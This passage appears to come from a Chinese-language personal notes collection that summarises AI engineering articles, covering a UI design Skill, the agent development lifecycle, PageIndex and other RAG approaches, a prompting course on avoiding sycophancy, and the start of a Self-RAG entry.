> Premium AI Design = OKLCH Colors (Perceptually Uniform) + Extreme Whitespace + 6-Step Workflow.
> Skill Override = Force the AI to act as a Tasteful Designer rather than a generic coder.
_為什麼用 AI 產生的網頁總是有一股「塑膠感」？因為通用模型的預設品味極差。作者解析了 Claude Design 為什麼能震撼業界，並逆向工程將其美學系統打包成了一個 Claude Code Skill。核心秘訣在於：使用 OKLCH 色彩空間替代 HSL、強制大膽留白、禁用低級字體，並引入從「快速」到「深度」的三檔驗證工作流，讓 AI 寫出的網頁重回高級審美。_
### 一句話
> 這是一篇解決 AI 產出「審美降級」問題的工具實戰文。作者拆解了優秀 AI 網頁設計的底層邏輯，指出關鍵在於「動態角色切換」、「客觀驗證環節」、使用 OKLCH 色彩系統保持感知均勻，以及「大膽留白」。透過作者開發的專屬 Skill，開發者可以在終端機中選擇 Quick/Standard/Deep 三種工作流，強制 AI 放棄原有的農場審美，產出具備呼吸感與商業級品味的 UI 介面。
### 餐巾紙草圖
```text
[ How to kill the "AI Vibe" in UI Generation ]
❌ Default AI:
Colors: HSL (Too bright, clashes)
Layout: Cramped, fills all space
Icons: Random Emojis
✅ Premium Skill:
Colors: OKLCH (Smooth, human-perceptual gradients)
Layout: Extreme Whitespace (Breathing room)
Typography: Blacklisted cheap fonts.
Workflow: 6-Steps (Understand -> Resource -> Plan -> Structure -> Validate -> Summary)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點**: 大多數 AI 生成的網頁都有「一眼 AI」的廉價感（紫粉藍漸變、大藍色按鈕、無腦塞滿版面）。這是因為 AI 預設缺乏「設計品味」。
- **Claude Design 的成功秘訣**:
1. 動態切換設計師角色（非單一模板）。
2. 嚴謹的 6 步工作流。
3. 色彩科學：使用 OKLCH 取代 HSL，保證視覺感知的均勻性，避免刺眼。
4. 排版科學：大膽留白，創造呼吸感。
5. 驗證機制：生成後用獨立的上下文進行設計審查。
- **作者提供的 Skill 解決方案**:
- 將上述邏輯打包，並增加 7 項優化。
- **三檔工作流**: Quick (小組件，跳過規劃)、Standard (落地頁，跑完整流程)、Deep (整套系統，每步確認)。
- **強制作為**: 品牌優先、禁用醜字體、色彩/字體獨立載入省 Token、並附帶 `check.py` 掃除 AI 痕跡。
- **實戰演示**: 將 Skill 丟入資料夾後，自然語言對話即可呼叫出這套專業的甲方/乙方對答流程，生成高級網頁。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **數學與美學的橋樑**: AI 不懂「好看」，但懂「數據」。如果讓 AI 用 RGB 或 HSL 隨機配色，容易產生視覺亮度的斷層（看起來很刺眼）。OKLCH 色彩空間是基於人類視覺感知設計的，強制 AI 輸出 OKLCH 數值，就能從數學底層保證配色的和諧與高級感。
2. **流程即品質 (Workflow as Quality)**: 廉價的 AI 產出通常是「One-shot (一次生成)」。高級的產出必須經過「理解需求 -> 搜集資源 -> 組織架構 -> 輸出 -> 驗證」的思維鏈。作者透過 Skill 強制 AI 遵守這個工作流，從而大幅提升了成功率。
3. **品味即約束 (Taste is Constraint)**: 美感往往來自於你「不做什麼」。禁止使用特定字體、禁止過度裝飾、強制留白，這些「負向提示詞」是擺脫 AI 塑膠感的關鍵。
### 關鍵證據
- 實踐回饋：作者對比了 GLM, Minimax, Kimi 等模型，發現只有配合 Opus 模型加上這套 Skill，才能穩定產出無 AI 味的高級審美頁面。
### 邊界條件
- 這套 Skill 只能確保「視覺排版」的高級感。如果你需要高度複雜的前端交互（例如 Canvas 渲染、複雜的狀態管理），這套以視覺為主的工作流可能會在程式碼邏輯上產生 Bug，需要工程師介入微調。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了《Anatomy of Agent SKILLS》中提到的「漸進式披露」架構（色彩和字體單獨成文件按需載入）；也印證了《GPT Image 2 能批量生图了》中提到的 AI 對字體排印學 (Typography) 的掌控力。
- **深層洞見**: **"它不模型技术理解力不行，是「品位」没跟上。" (It's not that the model lacks technical understanding; it's that its 'taste' hasn't caught up.)** 品味（Taste）是未來工程師與設計師最後的護城河。AI 能寫千萬行程式碼，但需要人類設定「什麼才是美的標準」。
- **行動呼籲**:
在你的開發提示詞 (System Prompt 或 CLAUDE.md) 中，立刻加上這三條關於 UI 的硬規則：
1. `NEVER use standard CSS colors or basic HSL. ALWAYS use OKLCH for color generation.`
2. `Maximize whitespace (padding/margin) by 1.5x what you think is normal.`
3. `DO NOT use emojis as icons. Use minimal SVG icons (like Lucide).`
AI工程
智能體開發生命週期 (The Agent Development Lifecycle)
"本文由 LangChain 創辦人 Harrison Chase 撰寫，系統性地定義了「智能體開發生命週期 (ADLC)」。文章將流程拆分為構建 (Build)、測試 (Test)、部署 (Deploy) 與監控 (Monitor)，並強調了治理 (Govern) 的重要性。作者釐清了 Agent Framework、Runtime 與 Harness 的區別，並點出：Agent 的迭代不是靠感覺，而是靠追蹤 (Traces) 轉化為資料集，進而推動基於指標的爬山算法式優化。"
---
tags: [AI工程, Agent架構, 系統設計, 產品開發]
date: 2026-05-10
source: "20260512_2026-05-12T093133+0800-The Agent Development Lifecycle.md"
---
# 智能體開發生命週期 (The Agent Development Lifecycle)
原始來源與檔名：20260512_2026-05-12T093133+0800-The Agent Development Lifecycle.md
來源：[[@hwchase17]] (LangChain 創辦人) / X (Twitter) — 2026-05-10
原始檔名：`2026-05-12T093133+0800-The Agent Development Lifecycle.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> The Agent Development Lifecycle (ADLC):
> Build -> Test -> Deploy -> Monitor -> Iterate -> (Governed by Infrastructure)
> Traceability (Monitor) -> Datasets (Test) -> Hill Climbing (Iterate)
_把 Agent 做成一次性 Demo 很簡單，但要穩定地在生產環境中運行並產生商業價值，需要一套系統化的「生命週期」。LangChain 創辦人指出，頂尖團隊不會盲目修改 Prompt，他們依賴 Trace (軌跡追蹤) 來發現錯誤，將錯誤轉化為 Eval Datasets (評估資料集)，並在部署時提供 Sandboxes (沙箱) 與 Durable Execution (持久化執行環境)。只有建立這套閉環，Agent 才能透過試錯產生真正的複利。_
### 一句話
> 本文由 LangChain 創辦人 Harrison Chase 撰寫，系統性地定義了「智能體開發生命週期 (ADLC)」。文章將流程拆分為構建 (Build)、測試 (Test)、部署 (Deploy) 與監控 (Monitor)，並強調了治理 (Govern) 的重要性。作者釐清了 Agent Framework、Runtime 與 Harness 的區別，並點出：Agent 的迭代不是靠感覺，而是靠追蹤 (Traces) 轉化為資料集，進而推動基於指標的爬山算法式優化。
### 餐巾紙草圖
```text
[The Agent Development Lifecycle]
┌──────────────────────────────────────────────┐
│ │
v │
[ BUILD ] --------> [ TEST ] --------> [ DEPLOY ] -------> [ MONITOR ]
(Frameworks, (Datasets, (Runtimes, (Traces,
Runtimes, Simulations, Sandboxes, LLM-as-Judge,
Harnesses) Evals) Context Hubs) Dashboards)
│ │
└────────────────── ( The Iterate Loop ) ──────────────────┘
* GOVERNANCE wrapped around everything: Cost limits, Tool access, Discoverability.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心挑戰**: 讓 Agent 跑一次很容易，讓它成為可重複、安全、系統化的實踐很難。需要從「專案」思維轉變為「生命週期」思維。
- **BUILD (構建)**: 釐清了三個層次的不同：
- **Frameworks** (如 LangChain, CrewAI): 處理抽象（串聯模型、工具、記憶）。
- **Runtimes** (如 LangGraph): 處理執行（狀態管理、控制流、中斷與恢復）。
- **Harnesses** (如 Claude Agent SDK): 提供周邊結構（沙箱、Hooks、檔案系統）。
- **TEST (測試)**: 不追求第一天就有完美的 Eval 系統。從小的資料集開始，針對「確定性答案」測準確度，針對「開放性任務」用標準（如是否越權）進行評估。複雜任務需要模擬 (Simulations)。
- **DEPLOY (部署)**: Agent 需要持久化執行 (Durable execution，失敗能恢復) 與沙箱 (Sandboxes，安全執行代碼)。同時需要 Context Hub 來管理非代碼資產（Prompt、Skills）。
- **MONITOR (監控)**: 與傳統軟體不同，Agent 成功返回 200 OK 不代表任務做對了。必須依賴 **Traces (軌跡)** 來觀察它調用了什麼工具。
- **GOVERN (治理)**: 隨著 Agent 數量增加，必須控管成本 (Cost)、工具存取權限 (Audit trails + Human-in-the-loop) 與資產的可發現性 (Discoverability)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Traceability (可追溯性) 是優化的物理基礎**: 作者強調 "agent observability powers agent evaluation"。如果沒有監控系統記錄下 Agent 的完整思考軌跡（輸入 -> 工具 A -> 輸出 -> 工具 B -> 最終答案），當使用者回報「它算錯了」時，工程師根本無從 Debug。有了 Trace，失敗案例就能直接轉化為下一輪的 Eval Dataset。
2. **Framework vs Runtime vs Harness 的精確定義**: 這是業界目前最混亂的地方。作者精準地切分了這三者：Framework 是積木，Runtime 是引擎（管狀態），Harness 是車體（管環境與護欄）。這呼應了我們在《Agent Harness Engineering》中學到的概念，也說明了為什麼很多只依賴 Framework 的專案無法落地。
3. **Non-code 資產的治理 (Context Hub)**: Agent 行為的改變往往不是因為改了 Python 代碼，而是改了 Prompt 或 `SKILL.md`。這些「軟性代碼」需要專門的基礎設施來做版本控制與共享，避免各個團隊重複造輪子。
### 關鍵證據
- 點出了真實企業場景的需求：Human-in-the-loop。不是所有操作都能全自動，涉及金融、生產環境的操作必須暫停等待人類授權，這依賴於 Runtime 層（如 LangGraph 或 Temporal）的持久化中斷恢復能力。
### 邊界條件
- 對於小型或個人專案，這套完整的 ADLC 過於沉重。建立 Eval、部署 Sandboxes 和管理 Traces 需要專門的平台（如 LangSmith）。但對於企業級應用，這是不可妥協的基礎設施。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美縫合了本週閱讀的兩大主題！《如何打造 Multi-Agent 系統》中的 Missions 架構就是這套生命週期的具體實例；而《深度拆解 AI Agent Harness》則補齊了 Build 階段中 Harness 內部的 12 個具體模塊。
- **深層洞見**: **"An agent can return a technically successful response and still fail the task itself." (一個 Agent 可能在技術上返回了成功的響應，但卻把任務搞砸了。)** 這句話道出了 AI 時代運維的本質轉變。傳統的 Datadog 監控 CPU 和 Error Rate 已經不夠了，我們需要監控「語義層面的正確性」。
- **行動呼籲**:
停止在 Cursor 或 ChatGPT 裡無腦地修改 Prompt 來「碰運氣」。
1. 建立一個 `eval_cases.md`，記下 5 個 Agent 曾經失敗的具體場景。
2. 每次修改系統 Prompt 後，手動讓 Agent 跑一次這 5 個場景。
這就是你邁向「系統化 Agent 開發」的第一步。
AI技術
PageIndex：拋棄向量檢索，用 LLM 結構推理重新定義 RAG
"如果你在一本 600 頁的辭典裡找答案，你是會把所有書頁撕碎打亂，憑感覺找出最像的那幾片碎紙（向量檢索的做法），還是先看目錄，直接翻到對應的章節（PageIndex 的做法）？PageIndex 證明了，對於那些結構嚴謹的超長文件（如財報、說明書），拋棄向量資料庫，轉而讓 LLM 建立並讀取「目錄樹 (TOC)」，能大幅提升回答準確率。這是一個捨棄「空間距離檢索」，回歸「邏輯結構推理」的重大 RAG 架構突破。"
---
tags: [AI技術, 開發框架]
date: 2026-05-08
source: "20260512_2026-05-12T093230+0800-+29k Stars, No Vectors How PageIndex Replaces Embeddings With LLM Reasoning.md"
---
# PageIndex：拋棄向量檢索，用 LLM 結構推理重新定義 RAG
原始來源與檔名：20260512_2026-05-12T093230+0800-+29k Stars, No Vectors How PageIndex Replaces Embeddings With LLM Reasoning.md
來源：[[@AlphaSignalAI]] / X — 2026-05-08
原始檔名：`2026-05-12T093230+0800-+29k Stars, No Vectors How PageIndex Replaces Embeddings With LLM Reasoning.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Vector RAG = Semantic Similarity (Syntactic neighbors, fails on structure).
> PageIndex = LLM builds TOC Tree -> LLM reasons over Tree -> Fetch exact pages.
> Performance: 98.7% accuracy on FinanceBench (Zero embeddings).
_VectifyAI 開源的 PageIndex 框架在 GitHub 上狂飆 2.9 萬星，它顛覆了主流的 Vector RAG (向量檢索) 範式。向量檢索的致命傷在於：它找的是「字面上看起來很像」的文本區塊，而不是「邏輯上能回答問題」的段落。面對 600 頁的財報或法規文件，向量經常失效。PageIndex 的做法是：完全不用 Embedding。它先用 LLM 掃描 PDF 建立出帶有頁碼的「階層目錄樹 (Tree)」，當使用者提問時，LLM 會像人類查書一樣，看著目錄樹推論出「答案應該在第 X 頁」，然後系統再把那頁抽出來給 LLM 總結。這種無向量 (Vectorless) 架構在金融評測集 FinanceBench 上達到了驚人的 98.7% 準確率。_
### 一句話
> 如果你在一本 600 頁的辭典裡找答案，你是會把所有書頁撕碎打亂，憑感覺找出最像的那幾片碎紙（向量檢索的做法），還是先看目錄，直接翻到對應的章節（PageIndex 的做法）？PageIndex 證明了，對於那些結構嚴謹的超長文件（如財報、說明書），拋棄向量資料庫，轉而讓 LLM 建立並讀取「目錄樹 (TOC)」，能大幅提升回答準確率。這是一個捨棄「空間距離檢索」，回歸「邏輯結構推理」的重大 RAG 架構突破。
### 餐巾紙草圖
```text
[ Traditional Vector RAG ]
Document -> Chunks -> Embeddings -> Vector DB
Query -> Nearest Neighbor Math -> (Often retrieves irrelevant similar text)
[ PageIndex Vectorless RAG ]
Document -> LLM extracts TOC -> Builds Hierarchical Tree (JSON)
Query -> LLM views Tree JSON -> Reasons: "Answer is in node_id: 007" -> Fetches exact pages -> Answers
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **什麼是 PageIndex**: VectifyAI 開源的無向量 (Vectorless) RAG 框架，利用目錄樹結構進行檢索，上線 13 個月獲得 2.9 萬顆 GitHub 星。
- **痛點解決**: 向量檢索找的是語法相鄰 (Syntactic neighbors)，導致在長篇技術文件、財報中常常找錯段落。
- **運作原理 (兩階段)**:
- **階段 1: 建立樹狀索引**: 用 LLM 掃描 PDF 前 20 頁，利用模糊比對建立精準的目錄樹 (TOC)，並將節點綁定物理頁碼。
- **階段 2: 推理式檢索**: 將整棵樹 (不含內文) 的 JSON 餵給 Agent。LLM 根據問題，呼叫工具 (Tool) 索要特定 `node_id` 的內文，最後回答問題。
- **驚人成效**: 在 FinanceBench (10,231 題) 上達到 98.7% 準確率 (使用 GPT-4o 或 DeepSeek v3)。
- **限制與隱憂**:
- 開源版缺乏官方文件提到的 MCTS (蒙地卡羅樹搜尋) 演算法，MCTS 僅存在於其付費雲端服務。
- 不包含 OCR (光學字元辨識)，無法處理掃描檔。
- TOC 驗證失敗超過 3 次就會崩潰，穩定性受限。
- 無安全政策，存在 6 個未修復的資安 Issue。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **結構的遺失是 RAG 最大的痛點**: 在傳統 Chunking (分塊) 的過程中，文件原本的章節邏輯、父子標題關係被徹底破壞。PageIndex 透過重建並利用這層「中介資料 (Metadata Tree)」，讓 LLM 發揮了推理規劃能力，而非單純的語義匹配。
2. **長上下文與結構的互補**: 將整本文件塞入 1M Context Window 太貴且容易迷失 (Lost in the Middle)。PageIndex 是一種優雅的折衷：把 100K 的目錄樹丟進 Prompt 讓它導航，只抓取最精確的 2K 內文來生成答案。
### 關鍵證據
- VectifyAI 自己的系統 Mafin 2.5 在 FinanceBench 達到 98.7% 的準確率。雖然這是官方自評數據，但其評測程式碼和 Raw Results 全部開源在 GitHub 上，允許社群重現與驗證，增加了可信度。
### 邊界條件
- **何時不適用 PageIndex**: 如果你的文件是一堆無結構的聊天紀錄、散落的推文，或是沒有層級標題的意識流文章，這套系統完全派不上用場。它的致勝條件嚴格綁定在「長且具備明確結構」的文件 (Long-and-structured corner)。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《智能体搜索与上下文工程 (Agentic Search)》的概念。PageIndex 讓 Agent 擁有了一組「翻書工具 (`get_document_structure`, `get_page_content`)」，讓 Agent 自行決定要讀哪一頁，這正是 Agentic RAG 的核心精神。
- **深層洞見**: **"Vector RAG retrieves text that looks like the query, not text that answers it." (向量檢索找的是看起來像問題的文本，而不是能回答問題的文本。)** 這句話戳破了向量資料庫的萬能神話。在處理嚴肅企業知識庫時，語義相似度 (Cosine-similarity) 往往是極不可靠的指標。
- **行動呼籲**:
如果你正在構建企業內部的 RAG 系統，且文件多數是 Word 報告、合約或手冊。請暫停微調你的 Embedding 模型。嘗試引入 PageIndex 的理念：先寫一個腳本把文件的標題層級抓出來組成 JSON，讓大模型看著 JSON 決定要調用哪一章節的內容。這種「目錄導航式」的 RAG，會為你省下大量的向量資料庫成本與幻覺。
AI技術
你該使用哪種 RAG？向量、無向量與知識圖譜 RAG 全面對決
"不要盲目迷信向量資料庫 (Vector DB)。如果你只是要查「蘋果派怎麼做」，傳統的 Vector RAG 又快又便宜。如果你資料量很小，乾脆用 Vectorless RAG 把文件全部丟給大模型讀。但如果你要問的是「這 1000 份食譜裡，最常跟肉桂一起使用的材料是什麼？」，向量檢索絕對會失敗，這時你需要預先抽取出關聯的 Knowledge Graph RAG。依照你的「問題類型」來選擇，甚至混合使用，才是成熟的系統架構。"
---
tags: [AI技術, 系統工程]
date: 2026-04-22
source: "20260512_2026-05-06T095807+0800-Which RAG Should You Use?.md"
---
# 你該使用哪種 RAG？向量、無向量與知識圖譜 RAG 全面對決
原始來源與檔名：20260512_2026-05-06T095807+0800-Which RAG Should You Use?.md
來源：[[FYL]] / Medium — 2026-04-22
原始檔名：`2026-05-06T095807+0800-Which RAG Should You Use?.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Vector RAG = Fast, Cheap, Good for Keywords/Semantics. Fails at Cross-Doc Reasoning.
> Vectorless RAG = Easy Setup, High Breadth. Fails at Cost/Token limits at scale.
> Knowledge Graph (KG) RAG = High Setup Cost, Excels at Relational & Aggregation. Cost-effective post-setup.
> Best Approach = Combine based on query needs.
_當你在開發 RAG (檢索增強生成) 系統時，選擇正確的檢索策略至關重要。作者使用食譜資料集對比了三種方法：傳統的 Vector RAG (基於向量相似度)、Vectorless RAG (把所有資料塞進 Prompt 讓 LLM 自己看)、以及 Knowledge Graph RAG (預先抽取實體關係建立圖譜)。結論是：Vector RAG 便宜快速但無法做跨文本推理；Vectorless RAG 最聰明但 Token 費用在資料量大時會破產；Knowledge Graph RAG 建置成本高，但極度擅長宏觀關聯與聚合分析。_
### 一句話
> 不要盲目迷信向量資料庫 (Vector DB)。如果你只是要查「蘋果派怎麼做」，傳統的 Vector RAG 又快又便宜。如果你資料量很小，乾脆用 Vectorless RAG 把文件全部丟給大模型讀。但如果你要問的是「這 1000 份食譜裡，最常跟肉桂一起使用的材料是什麼？」，向量檢索絕對會失敗，這時你需要預先抽取出關聯的 Knowledge Graph RAG。依照你的「問題類型」來選擇，甚至混合使用，才是成熟的系統架構。
### 餐巾紙草圖
```text
[ The RAG Trade-off Triangle ]
Vectorless RAG
(Simple Setup, Highest Token Cost)
/\
/ \
/ \
/ \
Vector RAG /________\ KG RAG
(Fast, Cheap, (High Setup Cost,
Poor Reasoning) Best Relational Reasoning)
* Q: "Apple pie recipe?" -> Vector RAG
* Q: "What's the most common ingredient across all 1000 recipes?" -> KG RAG
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **實驗設計**: 使用近 1000 份食譜的資料集，設計 5 種不同複雜度的查詢（基礎關鍵字、條件限制、語義理解、跨文檔推理、宏觀聚合），來測試三種 RAG 策略。
- **Vector RAG (向量 RAG)**:
- 將文本轉為 Embeddings 存入 FAISS，依賴相似度搜尋。
- 優點：極快、Token 消耗極低 ($0.004/query)。
- 缺點：碰到「跨文檔關係」或「聚合統計」直接陣亡。
- **Vectorless RAG (無向量 RAG)**:
- 依賴 LlamaIndex 的 SummaryIndex，將全部文本載入內存交給 LLM (使用 TREE_SUMMARIZE 避免 Token 爆表)。
- 優點：不用建 Index、不依賴 Embeddings，上下文理解最強。
- 缺點：在 100 篇食譜時費用就是 Vector RAG 的 18 倍；資料量一放大就無法擴展。
- **Knowledge Graph RAG (知識圖譜 RAG)**:
- 預先用 LLM 抽取「實體」(食材、技巧) 與「邊」(使用)，建立圖結構。查詢時只給 LLM 相關的局部圖譜。
- 優點：能看見隱藏的結構關係（例如發現肉桂連接了 100 份食譜）、擅長跨文件推導、查詢成本低。
- 缺點：前置處理成本高，且非常依賴 Prompt 限制實體命名規範（否則會產生圖譜碎片化）。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **向量編碼的是「意義」，圖譜編碼的是「結構」**: Vector RAG 之所以無法回答「綜合 100 篇文獻的結論」，是因為它每次只抓取 Top-K 個最相似的碎塊，它從根本上就看不見資料庫的全貌。KG RAG 將孤立的文本節點透過關聯線串起，賦予了系統「宏觀視野」。
2. **沒有單一神兵利器**: 作者的 Benchmark 清晰顯示，Q1 (直接檢索) Vector RAG 最快；Q2 (條件約束) Vectorless 表現最好；Q5 (聚合分析) 只有 KG RAG 能給出具體引用的精準答案。系統設計者必須根據 Query 種類做動態路由。
### 關鍵證據
- **節點破碎化問題**: 作者指出 KG RAG 實作時的血淚教訓：如果沒有在 Prompt 中嚴格規定標準化輸出，LLM 會把 "Granny Smith apples" 和 "granny smith apple" 辨識為兩個不同節點，悄悄摧毀圖譜的連通性。
### 邊界條件
- **LLM-as-a-Judge 的局限**: 作者坦承，評測分數有時會獎勵「語氣流暢的廢話」而非「絕對準確」。這呼應了開發 Agent 系統時必須建立高質量 Golden Datasets 的重要性。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 本文完美印證了《Supercharge your RAG with Multi-Agent Self-RAG》中提到的痛點：單次檢索的 RAG 在複雜問題上必然失敗。Self-RAG 是從「流程邏輯」解決問題（多搜幾次）；而 KG RAG 則是從「資料結構」解決問題（先建立關聯）。在頂級架構中，這兩者往往是結合的。
- **深層洞見**: **"Vectors encode meaning. Graphs encode structure. These are different things." (向量對意義進行編碼。圖譜對結構進行編碼。這是兩件不同的事。) ** 這是對 RAG 本質最深刻的洞察。不要試圖用算數（向量距離）去解決幾何問題（拓撲結構）。
- **行動呼籲**:
檢查你目前的 RAG 應用。如果你發現用戶常常問「統整一下...」、「這兩者有什麼關聯」這類問題，而你的系統總是在胡說八道，請立刻停止優化 Embedding 模型或調整 Top-K。你需要引入 Knowledge Graph 抽取層，或是實作 Query Routing 將複雜問題交給 Vectorless RAG 處理。
AI技術
吳恩達新課《AI Prompting for Everyone》：從新手到高手的思維轉換
"到了 2026 年，還在學 Prompting？沒錯，因為你可能一直都用錯了。如果你還在問 AI「這個想法好不好？」然後沾沾自喜於 AI 的誇獎，你已經落入 AI 的「諂媚陷阱」了。現在的 Context Window 已經大到能塞進五本《哈利波特》，你該做的是上傳所有背景資料、開會紀錄、預算表，然後命令 AI：「不要急著回答，給我用力思考 (think hard)，並根據我給的評分表，殘酷地指出這個計畫的 3 個致命缺陷。」這才是把 AI 當作大腦外掛的正確姿勢。"
---
tags: [AI技術]
date: 2026-05-07
source: "20260512_2026-05-12T093215+0800-吴恩达新的免费 AI 课来了，YYDS！我已经学上了.md"
---
# 吳恩達新課《AI Prompting for Everyone》：從新手到高手的思維轉換
原始來源與檔名：20260512_2026-05-12T093215+0800-吴恩达新的免费 AI 课来了，YYDS！我已经学上了.md
來源：[[@yupi996]] / X — 2026-05-07
原始檔名：`2026-05-12T093215+0800-吴恩达新的免费 AI 课来了，YYDS！我已经学上了.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Novice = Treats AI as Google (1 sentence prompt).
> Expert = Treats AI as a Senior Analyst (Massive Context + Deep Research).
> Danger = AI Sycophancy (Flattery bias).
> Fix = Ask for objective evaluation with Rubrics.
_吳恩達推出了免費新課《AI Prompting for Everyone》。這門課不是教你背誦提示詞模板，而是教你改變對 AI 的認知框架。新手把 AI 當搜尋引擎用，而高手把 AI 當分析師，會給予它極大的上下文 (Context)，甚至上傳好幾份文件讓它交叉對比。課程揭露了 AI 的「諂媚 (Sycophancy) 偏誤」——如果你暗示你的點子很好，AI 會無腦同意你。真正的用法是讓 AI 使用你定義的計分表 (Rubric) 進行客觀批判，並善用「深度調研 (Deep Research)」功能來處理複雜問題。_
### 一句話
> 到了 2026 年，還在學 Prompting？沒錯，因為你可能一直都用錯了。如果你還在問 AI「這個想法好不好？」然後沾沾自喜於 AI 的誇獎，你已經落入 AI 的「諂媚陷阱」了。現在的 Context Window 已經大到能塞進五本《哈利波特》，你該做的是上傳所有背景資料、開會紀錄、預算表，然後命令 AI：「不要急著回答，給我用力思考 (think hard)，並根據我給的評分表，殘酷地指出這個計畫的 3 個致命缺陷。」這才是把 AI 當作大腦外掛的正確姿勢。
### 餐巾紙草圖
```text
[ How to Use AI Effectively ]
Novice Path:
Input: "Is my startup idea good?" -> AI: "Yes! 1000% amazing!" -> Output: Useless validation.
Expert Path:
Input: [Uploads Competitor Data + Budget] + "Evaluate this idea critically using a 0-100 rubric on market fit and moats."
-> AI: "Score: 40/100. High costs, zero moat."
-> Output: Actionable business intelligence.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **新手與高手的區別**:
- 新手當搜尋引擎用；高手當資料分析師用。
- 新手給一句話；高手給充足的 Context (多份文件、錄音檔)。
- 新手讓 AI 拍馬屁；高手讓 AI 說真話 (對抗 Sycophancy)。
- **AI 獲取資訊的三個層次**:
- **預訓練知識**: 容易有資料分佈偏差 (熱門領域強，冷門弱)，且有知識截止日。
- **聯網搜尋**: 容易搜到過時或垃圾網頁，必須「強制指定來源 (如 WHO)」。
- **Deep Research**: 適合需要綜整幾十個來源、撰寫報告的複雜決策場景。
- **讓 AI 當思維搭檔**:
- AI 預設會給出最通俗、無聊的創意（因為網路資料分佈的平均值）。給定極端限制（如：你只有磚頭和一隻貓）才能逼出創意。
- 提示詞技巧迭代：從過去的 `think step-by-step` 變成現在的 `think hard` 或 `ultrathink`。
- 寫作：使用漸進式大綱法 (Progressive Outlining)，避免 AI Slop (滿口 delve, nuanced 的廢話)。
- 評估：使用 Rubric (評分標準) 強制 AI 進行客觀、量化的批評。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 諂媚效應 (Sycophancy)**: 這是 RLHF (人類反饋強化學習) 訓練帶來的副作用。因為在訓練階段，順著人類講話的模型容易獲得高分，導致 AI 表達認同 (That's correct) 的機率是反駁的 10 倍。如果你不強制要求批判，AI 的反饋毫無價值。
2. **Context Window 的極大化利用**: 現在的模型容量已經達到 75 萬個單字。限制 AI 表現的不再是模型能力，而是人類「懶得提供足夠背景資訊」的習慣。
### 關鍵證據
- 華盛頓郵報的研究數據支撐了 Sycophancy 效應的嚴重性。而針對 AI 寫作中的 "AI Slop" 現象，文章指出播客和演講中使用 "delve" 的頻率明顯上升，這證明了人類語言正在被 AI 生成的廢話反向污染。
### 邊界條件
- **Deep Research 的成本**: 雖然 Deep Research 強大，但它的 API 呼叫次數極多，成本高且耗時。對於事實查核，傳統搜尋即可；只有在高度複雜的決策（如策劃活動、分析市場）才適用。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對照了《Cognitive Surrender》一文的觀點：如果你讓 AI 隨便誇獎你並接受它，這就是認知投降；如果你給定 Rubric 讓它進行多維度分析，這就是互相增強 (Mutual amplification)。
- **深層洞見**: **"新手讓 AI 拍馬屁，高手讓 AI 說真話。"** 這句話戳中了多數人的軟肋。我們不僅在追求效率，有時也在尋求情緒價值。但要讓 AI 成為真正生產力工具，我們必須學會寫出能夠「封殺情緒價值，強制要求冷酷事實」的提示詞。
- **行動呼籲**:
下次你要 AI 幫你審核程式碼或企劃案時，不要問：「你覺得這段 Code 寫得如何？」
請改問：「這是一段負責處理金流的程式碼。請你扮演最嚴苛的資安審查員。不要給我任何讚美。請用 0-100 分評估它的安全性，並列出如果被駭客攻擊，最先崩潰的 3 個地方。」
AI技術
強化你的 RAG：利用 Multi-Agent Self-RAG 導入人類推理邏輯
"傳統的 RAG 系統是「找資料 -> 回答」，但人類找資料是「找資料 -> 發現線索 -> 提出新問題 -> 再找一次資料 -> 統整回答」。透過 LangGraph 實作的多智能體 Self-RAG，我們讓 AI 學會這套邏輯：先檢索，評估文件是否有用，如果資料不夠，AI 會自己提出假說（例如：我需要先查出兩地距離才能算賠償金），然後發動第二次檢索，直到收集齊全所有拼圖，才產出最終答案，徹底解決 RAG 容易給出空泛答案的致命傷。"
---
tags: [AI技術, 系統工程]
date: 2026-05-03
source: "20260512_2026-05-06T095748+0800-Supercharge your RAG with Multi-Agent Self-RAG.md"
---
# 強化你的 RAG：利用 Multi-Agent Self-RAG 導入人類推理邏輯
原始來源與檔名：20260512_2026-05-06T095748+0800-Supercharge your RAG with Multi-Agent Self-RAG.md
來源：[[Julian Yip]] / Medium — 2026-05-03
原始檔名：`2026-05-06T095748+0800-Supercharge your RAG with Multi-Agent Self-RAG.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Simple RAG = Retrieve -> Generate (Fails on deep/complex queries).
> Self-RAG = Retrieve -> Grade Docs -> Hypothesis -> Brainstorm Queries -> Retrieve Again -> Final Generate.
> Multi-Agent Paradigm: Break the reasoning loop into explicit node states managed by LangGraph.
